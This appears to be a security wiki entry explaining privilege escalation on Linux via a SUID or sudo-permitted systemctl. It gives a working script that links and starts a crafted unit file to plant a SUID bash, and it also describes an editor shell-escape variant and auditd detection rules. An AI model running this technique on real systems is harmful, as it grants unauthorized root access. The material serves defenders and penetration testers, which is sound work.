systemctl SUID and sudo Privilege Escalation

systemctl is systemd’s control utility — and if it is reachable with elevated privileges (SUID bit, or a sudo NOPASSWD rule), it becomes a clean root-shell delivery mechanism: systemd will happily link and start an attacker-authored unit file that runs arbitrary commands as root. GTFOBins documents both the SUID and sudo variants.

The service-file trick

FILE=$(mktemp -u)
 
cat > ${FILE}.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/cp /bin/bash ${FILE}.sh
ExecStart=/bin/chmod +xs ${FILE}.sh
 
[Install]
WantedBy=multi-user.target
EOF
 
systemctl link ${FILE}.service    # register the unit without moving it
systemctl start ${FILE}.service   # systemd runs ExecStart as root
 
${FILE}.sh -p                     # root shell (bash -p preserves euid)

Why it works:

  • systemctl link registers a unit file from an arbitrary path into systemd’s unit search path — no write access to /etc/systemd/system required.
  • Type=oneshot services run their ExecStart commands sequentially as the unit’s user, which defaults to root for system units.
  • The payload copies bash and sets the SUID/SGID bits; invoking it with -p preserves the effective UID (see suid-shell-executable for why -p matters).

Two privilege paths

PathPreconditionNotes
SUID systemctlchmod u+s /bin/systemctl (misconfiguration)Rare in practice — but systemctl does not drop privileges, so every subcommand runs with the effective UID.
sudo NOPASSWD(root) NOPASSWD: /bin/systemctl in sudoersFar more common: admins grant systemctl to let users restart a service, not realizing link + start of an arbitrary unit is equivalent to full root. Check with [[sudo-nopasswd-recon

A milder variant of the sudo path abuses systemctl edit/--force: when SYSTEMD_EDITOR (or EDITOR) is honored, sudo systemctl edit some.target opens an editor as root — and any editor with a shell escape (vim, nano’s ^R^X, pager escapes in systemctl’s paged output) yields the same result.

Defense and detection

  • Never grant blanket NOPASSWD on systemctl — restrict to specific verbs (start, stop, status) and specific units via sudoers argument matching.
  • Detection: auditd on execve of systemctl link/start with unit paths outside /etc/systemd/system and /lib/systemd/system; new SUID-root copies of shells appearing in world-writable directories.

Sources

Related: sudo-nopasswd-recon, suid-shell-executable, unix-permissions, ld-preload-trick